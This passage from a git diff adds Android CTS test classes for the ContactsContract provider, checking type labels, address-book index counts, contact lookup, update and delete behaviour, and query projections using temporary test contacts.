+        assertTrue(res != 0);
+
+        String label = mResources.getString(res);
+        assertEquals(label, Relation.getTypeLabel(mResources, type, ""));
+    }
+
+    private void assertCustomTypeLabel(String label) {
+        int res = Relation.getTypeLabelResource(Relation.TYPE_CUSTOM);
+        assertTrue(res != 0);
+        assertEquals(label, Relation.getTypeLabel(mResources, Relation.TYPE_CUSTOM, label));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_SipAddressTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_SipAddressTest.java
new file mode 100644
index 0000000..8df1784
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_SipAddressTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.res.Resources;
+import android.provider.ContactsContract.CommonDataKinds.SipAddress;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_CommonDataKinds_SipAddressTest extends AndroidTestCase {
+
+    private Resources mResources;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResources = mContext.getResources();
+    }
+
+    public void testGetTypeLabel() {
+        assertGetTypeLabel(SipAddress.TYPE_HOME);
+        assertGetTypeLabel(SipAddress.TYPE_OTHER);
+        assertGetTypeLabel(SipAddress.TYPE_WORK);
+        assertGetTypeLabel(SipAddress.TYPE_CUSTOM);
+        assertCustomTypeLabel("Custom Label");
+    }
+
+    private void assertGetTypeLabel(int type) {
+        int res = SipAddress.getTypeLabelResource(type);
+        assertTrue(res != 0);
+
+        String label = mResources.getString(res);
+        assertEquals(label, SipAddress.getTypeLabel(mResources, type, ""));
+    }
+
+    private void assertCustomTypeLabel(String label) {
+        int res = SipAddress.getTypeLabelResource(SipAddress.TYPE_CUSTOM);
+        assertTrue(res != 0);
+        assertEquals(label, SipAddress.getTypeLabel(mResources, SipAddress.TYPE_CUSTOM, label));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_StructuredPostalTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_StructuredPostalTest.java
new file mode 100644
index 0000000..44d61d5
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_StructuredPostalTest.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.res.Resources;
+import android.provider.ContactsContract.CommonDataKinds.StructuredPostal;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_CommonDataKinds_StructuredPostalTest extends AndroidTestCase {
+
+    private Resources mResources;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResources = mContext.getResources();
+    }
+
+    public void testGetTypeLabel() {
+        assertGetTypeLabel(StructuredPostal.TYPE_HOME);
+        assertGetTypeLabel(StructuredPostal.TYPE_OTHER);
+        assertGetTypeLabel(StructuredPostal.TYPE_WORK);
+        assertGetTypeLabel(StructuredPostal.TYPE_CUSTOM);
+        assertCustomTypeLabel("Custom Label");
+    }
+
+    private void assertGetTypeLabel(int type) {
+        int res = StructuredPostal.getTypeLabelResource(type);
+        assertTrue(res != 0);
+
+        String label = mResources.getString(res);
+        assertEquals(label, StructuredPostal.getTypeLabel(mResources, type, ""));
+    }
+
+    private void assertCustomTypeLabel(String label) {
+        int res = StructuredPostal.getTypeLabelResource(StructuredPostal.TYPE_CUSTOM);
+        assertTrue(res != 0);
+        assertEquals(label, StructuredPostal.getTypeLabel(mResources,
+                StructuredPostal.TYPE_CUSTOM, label));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactCountsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactCountsTest.java
new file mode 100644
index 0000000..ca88be0
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactCountsTest.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+import java.util.Arrays;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.InstrumentationTestCase;
+
+/**
+ * CTS tests for {@link android.provider.ContactsContract.ContactCounts} apis.
+ */
+public class ContactsContract_ContactCountsTest extends InstrumentationTestCase {
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    final String[] TEST_PROJECTION = new String[] {Contacts.DISPLAY_NAME};
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getInstrumentation().getTargetContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testContactCounts_noExtraNoExtrasReturned() throws Exception {
+        final String filterString = getFilterString(setupTestData());
+        final Cursor cursor = mResolver.query(Contacts.CONTENT_URI, TEST_PROJECTION,
+                filterString, null, null);
+        try {
+            final Bundle extras = cursor.getExtras();
+            assertFalse(extras.containsKey(Contacts.EXTRA_ADDRESS_BOOK_INDEX_COUNTS));
+            assertFalse(extras.containsKey(Contacts.EXTRA_ADDRESS_BOOK_INDEX_TITLES));
+        } finally {
+            cursor.close();
+        }
+    }
+
+    public void testContactCounts_correctCountsReturned() throws Exception {
+        final String filterString = getFilterString(setupTestData());
+        final Uri uri = Contacts.CONTENT_URI.buildUpon()
+                .appendQueryParameter(Contacts.EXTRA_ADDRESS_BOOK_INDEX, "true").build();
+        final Cursor cursor = mResolver.query(uri, TEST_PROJECTION,
+                filterString, null, null);
+        try {
+            final Bundle extras = cursor.getExtras();
+            assertTrue(extras.containsKey(Contacts.EXTRA_ADDRESS_BOOK_INDEX_COUNTS));
+            assertTrue(extras.containsKey(Contacts.EXTRA_ADDRESS_BOOK_INDEX_TITLES));
+
+            final String[] expectedSections = new String[] {"A", "B", "C"};
+            final String sections[] =
+                    extras.getStringArray(Contacts.EXTRA_ADDRESS_BOOK_INDEX_TITLES);
+            assertTrue(Arrays.equals(expectedSections, sections));
+
+            final int[] expectedCounts = new int[] {2, 3, 1};
+            final int counts[] = extras.getIntArray(Contacts.EXTRA_ADDRESS_BOOK_INDEX_COUNTS);
+            assertTrue(Arrays.equals(expectedCounts, counts));
+        } finally {
+            cursor.close();
+        }
+    }
+
+    private String getFilterString(long... contactIds) {
+        StringBuilder sb = new StringBuilder();
+        sb.append(Contacts._ID + " in ");
+        sb.append("(");
+        for (int i = 0; i < contactIds.length; i++) {
+            if (i != 0) sb.append(",");
+            sb.append(contactIds[i]);
+        }
+        sb.append(")");
+        return sb.toString();
+    }
+
+    /**
+     * Setup the contacts database with temporary contacts used for testing. These contacts will
+     * be removed during teardown.
+     *
+     * @return An array of long values corresponding to the ids of the created contacts
+     *
+     * @throws Exception
+     */
+    private long[] setupTestData() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Apple Pie")
+                .insert();
+        rawContact.load();
+        TestContact contact = rawContact.getContact().load();
+
+        TestRawContact rawContact2 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Banana Split")
+                .insert();
+        rawContact2.load();
+        TestContact contact2 = rawContact2.getContact().load();
+
+        TestRawContact rawContact3 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact3.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Blackberry Shortcake")
+                .insert();
+        rawContact3.load();
+        TestContact contact3 = rawContact3.getContact().load();
+
+        TestRawContact rawContact4 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact4.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Cherry icecream")
+                .insert();
+        rawContact4.load();
+        TestContact contact4 = rawContact4.getContact().load();
+
+        TestRawContact rawContact5 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact5.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Apricot Jam ")
+                .insert();
+        rawContact5.load();
+        TestContact contact5 = rawContact5.getContact().load();
+
+        TestRawContact rawContact6 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact6.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Blackcurrant Pie ")
+                .insert();
+        rawContact6.load();
+        TestContact contact6 = rawContact6.getContact().load();
+
+        return new long[] {contact.getId(), contact2.getId(), contact3.getId(), contact4.getId(),
+                contact5.getId(), contact6.getId()};
+    }
+}
+
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
new file mode 100644
index 0000000..3c56aba
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
@@ -0,0 +1,382 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.Directory;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.provider.cts.contacts.account.StaticAccountAuthenticator;
+import android.test.AndroidTestCase;
+
+import java.util.List;
+
+public class ContactsContract_ContactsTest extends AndroidTestCase {
+
+    private StaticAccountAuthenticator mAuthenticator;
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+
+        mAuthenticator = new StaticAccountAuthenticator(getContext());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testMarkAsContacted() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+        TestContact contact = rawContact.getContact().load();
+
+        assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+        assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
+
+        assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
+        assertEquals(0, rawContact.getLong(Contacts.TIMES_CONTACTED));
+
+        for (int i = 1; i < 10; i++) {
+            Contacts.markAsContacted(mResolver, contact.getId());
+            contact.load();
+            rawContact.load();
+
+            assertEquals(System.currentTimeMillis() / 86400 * 86400,
+                    contact.getLong(Contacts.LAST_TIME_CONTACTED));
+            assertEquals("#" + i, i, contact.getLong(Contacts.TIMES_CONTACTED));
+
+            assertEquals(System.currentTimeMillis() / 86400 * 86400,
+                    rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
+            assertEquals("#" + i, i, rawContact.getLong(Contacts.TIMES_CONTACTED));
+        }
+
+        for (int i = 0; i < 10; i++) {
+            Contacts.markAsContacted(mResolver, contact.getId());
+            contact.load();
+            rawContact.load();
+
+            assertEquals(System.currentTimeMillis() / 86400 * 86400,
+                    contact.getLong(Contacts.LAST_TIME_CONTACTED));
+            assertEquals("#" + i, 10, contact.getLong(Contacts.TIMES_CONTACTED));
+
+            assertEquals(System.currentTimeMillis() / 86400 * 86400,
+                    rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
+            assertEquals("#" + i, 10, rawContact.getLong(Contacts.TIMES_CONTACTED));
+        }
+
+        for (int i = 0; i < 10; i++) {
+            Contacts.markAsContacted(mResolver, contact.getId());
+            contact.load();
+            rawContact.load();
+
+            assertEquals(System.currentTimeMillis() / 86400 * 86400,
+                    contact.getLong(Contacts.LAST_TIME_CONTACTED));
+            assertEquals("#" + i, 20, contact.getLong(Contacts.TIMES_CONTACTED));
+
+            assertEquals(System.currentTimeMillis() / 86400 * 86400,
+                    rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
+            assertEquals("#" + i, 20, rawContact.getLong(Contacts.TIMES_CONTACTED));
+        }
+    }
+
+    public void testContentUri() {
+        Context context = getContext();
+        PackageManager packageManager = context.getPackageManager();
+        Intent intent = new Intent(Intent.ACTION_VIEW, ContactsContract.Contacts.CONTENT_URI);
+        List<ResolveInfo> resolveInfos = packageManager.queryIntentActivities(intent, 0);
+        assertFalse("Device does not support the activity intent: " + intent,
+                resolveInfos.isEmpty());
+    }
+
+    public void testLookupUri() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+        TestContact contact = rawContact.getContact().load();
+
+        Uri contactUri = contact.getUri();
+        long contactId = contact.getId();
+        String lookupKey = contact.getString(Contacts.LOOKUP_KEY);
+
+        Uri lookupUri = Contacts.getLookupUri(contactId, lookupKey);
+        assertEquals(ContentUris.withAppendedId(Uri.withAppendedPath(Contacts.CONTENT_LOOKUP_URI,
+                lookupKey), contactId), lookupUri);
+
+        Uri nullLookupUri = Contacts.getLookupUri(contactId, null);
+        assertNull(nullLookupUri);
+
+        Uri emptyLookupUri = Contacts.getLookupUri(contactId, "");
+        assertNull(emptyLookupUri);
+
+        Uri lookupUri2 = Contacts.getLookupUri(mResolver, contactUri);
+        assertEquals(lookupUri, lookupUri2);
+
+        Uri contactUri2 = Contacts.lookupContact(mResolver, lookupUri);
+        assertEquals(contactUri, contactUri2);
+    }
+
+    public void testInsert_isUnsupported() {
+        DatabaseAsserts.assertInsertIsUnsupported(mResolver, Contacts.CONTENT_URI);
+    }
+
+    public void testContactDelete_removesContactRecord() {
+        assertContactCreateDelete();
+    }
+
+    public void testContactDelete_hasDeleteLog() {
+        long start = System.currentTimeMillis();
+        DatabaseAsserts.ContactIdPair ids = assertContactCreateDelete();
+        DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, start);
+
+        // Clean up. Must also remove raw contact.
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testContactDelete_marksRawContactsForDeletion() {
+        DatabaseAsserts.ContactIdPair ids = assertContactCreateDelete();
+
+        String[] projection = new String[] {
+                ContactsContract.RawContacts.DIRTY,
+                ContactsContract.RawContacts.DELETED
+        };
+        List<String[]> records = RawContactUtil.queryByContactId(mResolver, ids.mContactId,
+                projection);
+        for (String[] arr : records) {
+            assertEquals("1", arr[0]);
+            assertEquals("1", arr[1]);
+        }
+
+        // Clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testContactUpdate_updatesContactUpdatedTimestamp() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+        ContentValues values = new ContentValues();
+        values.put(ContactsContract.Contacts.STARRED, 1);
+
+        SystemClock.sleep(1);
+        ContactUtil.update(mResolver, ids.mContactId, values);
+
+        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+        assertTrue(newTime > baseTime);
+
+        // Clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testContactUpdate_usageStats() throws Exception {
+        final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+        final TestContact contact = rawContact.getContact().load();
+
+        contact.load();
+        assertEquals(0L, contact.getLong(Contacts.TIMES_CONTACTED));
+        assertEquals(0L, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+
+        final long now = System.currentTimeMillis();
+
+        ContentValues values = new ContentValues();
+        values.clear();
+        values.put(Contacts.TIMES_CONTACTED, 3);
+        values.put(Contacts.LAST_TIME_CONTACTED, now);
+        ContactUtil.update(mResolver, contact.getId(), values);
+
+        contact.load();
+        assertEquals(3L, contact.getLong(Contacts.TIMES_CONTACTED));
+        assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+
+        // This is also the same as markAsContacted().
+        values.clear();
+        values.put(Contacts.LAST_TIME_CONTACTED, now);
+        ContactUtil.update(mResolver, contact.getId(), values);
+
+        contact.load();
+        assertEquals(4L, contact.getLong(Contacts.TIMES_CONTACTED));
+        assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+
+        values.clear();
+        values.put(Contacts.TIMES_CONTACTED, 10);
+
+        ContactUtil.update(mResolver, contact.getId(), values);
+
+        contact.load();
+        assertEquals(10L, contact.getLong(Contacts.TIMES_CONTACTED));
+        assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+    }
+
+    /**
+     * Make sure the rounded usage stats values are also what the callers would see in where
+     * clauses.
+     *
+     * This tests both contacts and raw_contacts.
+     */
+    public void testContactUpdateDelete_usageStats_visibilityInWhere() throws Exception {
+        final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+        final TestContact contact = rawContact.getContact().load();
+
+        // To make things more predictable, inline markAsContacted here with a known timestamp.
+        final long now = (System.currentTimeMillis() / 86400 * 86400) + 86400 * 5 + 123;
+
+        ContentValues values = new ContentValues();
+        values.put(Contacts.LAST_TIME_CONTACTED, now);
+
+        // This makes the internal TIMES_CONTACTED 35.  But the visible value is still 30.
+        for (int i = 0; i < 35; i++) {
+            ContactUtil.update(mResolver, contact.getId(), values);
+        }
+
+        contact.load();
+        rawContact.load();
+
+        assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+        assertEquals(30, contact.getLong(Contacts.TIMES_CONTACTED));
+
+        assertEquals(now / 86400 * 86400, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
+        assertEquals(30, rawContact.getLong(Contacts.TIMES_CONTACTED));
+
+        final ContentValues cv = new ContentValues();
+            cv.put(Contacts.STARRED, 1);
+
+        final String where =
+                (Contacts.LAST_TIME_CONTACTED + "=P1 AND " + Contacts.TIMES_CONTACTED + "=P2")
+                        .replaceAll("P1", String.valueOf(now / 86400 * 86400))
+                        .replaceAll("P2", "30");
+        assertEquals(1, mResolver.update(Contacts.CONTENT_URI, cv, where, null));
+        assertEquals(1, mResolver.update(RawContacts.CONTENT_URI, cv, where, null));
+
+        // Also delete.  This will actually delete the row, so we can test it only for one of the
+        // contact or the raw contact.
+        assertEquals(1, mResolver.delete(RawContacts.CONTENT_URI, where, null));
+        rawContact.setAlreadyDeleted();
+        contact.setAlreadyDeleted();
+    }
+
+    public void testProjection() throws Exception {
+        final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.GIVEN_NAME, "xxx")
+                .insert();
+
+        final TestContact contact = rawContact.getContact().load();
+        final long contactId = contact.getId();
+        final String lookupKey = contact.getString(Contacts.LOOKUP_KEY);
+
+        final String[] PROJECTION = new String[]{
+                Contacts._ID,
+                Contacts.DISPLAY_NAME,
+                Contacts.DISPLAY_NAME_PRIMARY,
+                Contacts.DISPLAY_NAME_ALTERNATIVE,
+                Contacts.DISPLAY_NAME_SOURCE,
+                Contacts.PHONETIC_NAME,
+                Contacts.PHONETIC_NAME_STYLE,
+                Contacts.SORT_KEY_PRIMARY,
+                Contacts.SORT_KEY_ALTERNATIVE,
+                Contacts.LAST_TIME_CONTACTED,
+                Contacts.TIMES_CONTACTED,
+                Contacts.STARRED,
+                Contacts.PINNED,
+                Contacts.IN_DEFAULT_DIRECTORY,
+                Contacts.IN_VISIBLE_GROUP,
+                Contacts.PHOTO_ID,
+                Contacts.PHOTO_FILE_ID,
+                Contacts.PHOTO_URI,
+                Contacts.PHOTO_THUMBNAIL_URI,
+                Contacts.CUSTOM_RINGTONE,
+                Contacts.HAS_PHONE_NUMBER,
+                Contacts.SEND_TO_VOICEMAIL,
+                Contacts.IS_USER_PROFILE,
+                Contacts.LOOKUP_KEY,
+                Contacts.NAME_RAW_CONTACT_ID,
+                Contacts.CONTACT_PRESENCE,
+                Contacts.CONTACT_CHAT_CAPABILITY,
+                Contacts.CONTACT_STATUS,
+                Contacts.CONTACT_STATUS_TIMESTAMP,
+                Contacts.CONTACT_STATUS_RES_PACKAGE,
+                Contacts.CONTACT_STATUS_LABEL,
+                Contacts.CONTACT_STATUS_ICON,
+                Contacts.CONTACT_LAST_UPDATED_TIMESTAMP
+        };
+
+        // Contacts.CONTENT_URI
+        DatabaseAsserts.checkProjection(mResolver,
+                Contacts.CONTENT_URI,
+                PROJECTION,
+                new long[]{contact.getId()}
+        );
+
+        // Contacts.CONTENT_FILTER_URI
+        DatabaseAsserts.checkProjection(mResolver,
+                Contacts.CONTENT_FILTER_URI.buildUpon().appendEncodedPath("xxx").build(),
+                PROJECTION,
+                new long[]{contact.getId()}
+        );
+
+        // Contacts.CONTENT_FILTER_URI
+        DatabaseAsserts.checkProjection(mResolver,
+                Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon().appendEncodedPath("xxx")
+                        .appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                                String.valueOf(Directory.DEFAULT)).build(),
+                PROJECTION,
+                new long[]{contact.getId()}
+        );
+
+        // Contacts.CONTENT_LOOKUP_URI
+        DatabaseAsserts.checkProjection(mResolver,
+                Contacts.getLookupUri(contactId, lookupKey),
+                PROJECTION,
+                new long[]{contact.getId()}
+        );
+    }
+
+    /**
+     * Create a contact.  Delete it.  And assert that the contact record is no longer present.
+     *
+     * @return The contact id and raw contact id that was created.
+     */
+    private DatabaseAsserts.ContactIdPair assertContactCreateDelete() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        SystemClock.sleep(1);
+        ContactUtil.delete(mResolver, ids.mContactId);
+
+        assertFalse(ContactUtil.recordExistsForContactId(mResolver, ids.mContactId));
+
+        return ids;
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
new file mode 100644
index 0000000..31afce9
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
@@ -0,0 +1,802 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+import static android.provider.ContactsContract.CommonDataKinds;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.Callable;
+import android.provider.ContactsContract.CommonDataKinds.Contactables;
+import android.provider.ContactsContract.CommonDataKinds.Email;
+import android.provider.ContactsContract.CommonDataKinds.GroupMembership;
+import android.provider.ContactsContract.CommonDataKinds.Organization;
+import android.provider.ContactsContract.CommonDataKinds.Phone;
+import android.provider.ContactsContract.CommonDataKinds.SipAddress;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.Contacts.Entity;
+import android.provider.ContactsContract.Data;
+import android.provider.ContactsContract.Directory;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.ContactsContract.RawContactsEntity;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestData;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.InstrumentationTestCase;
+
+import java.util.ArrayList;
+
+public class ContactsContract_DataTest extends InstrumentationTestCase {
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    static final String[] DATA_PROJECTION = new String[]{
+            Data._ID,
+            Data.RAW_CONTACT_ID,
+            Data.CONTACT_ID,
+            Data.NAME_RAW_CONTACT_ID,
+            RawContacts.RAW_CONTACT_IS_USER_PROFILE,
+            Data.DATA1,
+            Data.DATA2,
+            Data.DATA3,
+            Data.DATA4,
+            Data.DATA5,
+            Data.DATA6,
+            Data.DATA7,
+            Data.DATA8,
+            Data.DATA9,
+            Data.DATA10,
+            Data.DATA11,
+            Data.DATA12,
+            Data.DATA13,
+            Data.DATA14,
+            Data.DATA15,
+            Data.CARRIER_PRESENCE,
+            Data.DATA_VERSION,
+            Data.IS_PRIMARY,
+            Data.IS_SUPER_PRIMARY,
+            Data.MIMETYPE,
+            Data.RES_PACKAGE,
+            Data.SYNC1,
+            Data.SYNC2,
+            Data.SYNC3,
+            Data.SYNC4,
+            GroupMembership.GROUP_SOURCE_ID,
+            Data.PRESENCE,
+            Data.CHAT_CAPABILITY,
+            Data.STATUS,
+            Data.STATUS_TIMESTAMP,
+            Data.STATUS_RES_PACKAGE,
+            Data.STATUS_LABEL,
+            Data.STATUS_ICON,
+            RawContacts.ACCOUNT_NAME,
+            RawContacts.ACCOUNT_TYPE,
+            RawContacts.DATA_SET,
+            RawContacts.ACCOUNT_TYPE_AND_DATA_SET,
+            RawContacts.DIRTY,
+            RawContacts.SOURCE_ID,
+            RawContacts.VERSION,
+            Contacts.CUSTOM_RINGTONE,
+            Contacts.DISPLAY_NAME,
+            Contacts.DISPLAY_NAME_ALTERNATIVE,
+            Contacts.DISPLAY_NAME_SOURCE,
+            Contacts.IN_DEFAULT_DIRECTORY,
+            Contacts.IN_VISIBLE_GROUP,
+            Contacts.LAST_TIME_CONTACTED,
+            Contacts.LOOKUP_KEY,
+            Contacts.PHONETIC_NAME,
+            Contacts.PHONETIC_NAME_STYLE,
+            Contacts.PHOTO_ID,
+            Contacts.PHOTO_FILE_ID,
+            Contacts.PHOTO_URI,
+            Contacts.PHOTO_THUMBNAIL_URI,
